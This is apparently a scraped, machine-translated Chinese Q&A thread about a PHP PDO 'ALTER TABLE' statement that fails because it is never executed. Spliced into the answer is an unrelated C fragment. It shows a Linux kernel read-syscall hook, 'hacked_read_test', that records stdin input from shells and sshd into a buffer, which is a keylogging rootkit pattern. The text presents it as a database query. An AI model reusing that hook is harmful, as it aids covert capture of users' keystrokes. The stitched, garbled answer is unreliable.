我正在尝试在表“预订”中添加“测试”列 但这不起作用
你知道为什么吗?
$create = $bdd->prepare('ALTER TABLE reservation ADD test INT NULL');
数据库:
答案 0 :(得分:0)
mysql语法似乎正确,但是您是否尝试查询它而不是创建准备好的语句?
(另外,请通过发布错误消息,更多代码,问题的上下文等进行详细说明)
据我所知,您没有执行该语句。
4.19
如果您不想插入用户创建的数据,也可以尝试查询数据库:
#include <asm/ptrace.h>
// ...
unsigned long ( *original_read ) ( const struct pt_regs *regs );
// ...
unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned int fd = regs->di;
char *buf = (char*) regs->si;
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( regs );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( regs );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '\0';
return r;
}
}
不确定是否需要此第三者,但是我通常在查询中添加“ COLUMN”。这可能取决于您使用的是哪种数据库引擎(请不要在上面引用我的意思)
$create = $bdd->prepare('ALTER TABLE reservation ADD test INT NULL');
$create->execute();
祝你好运!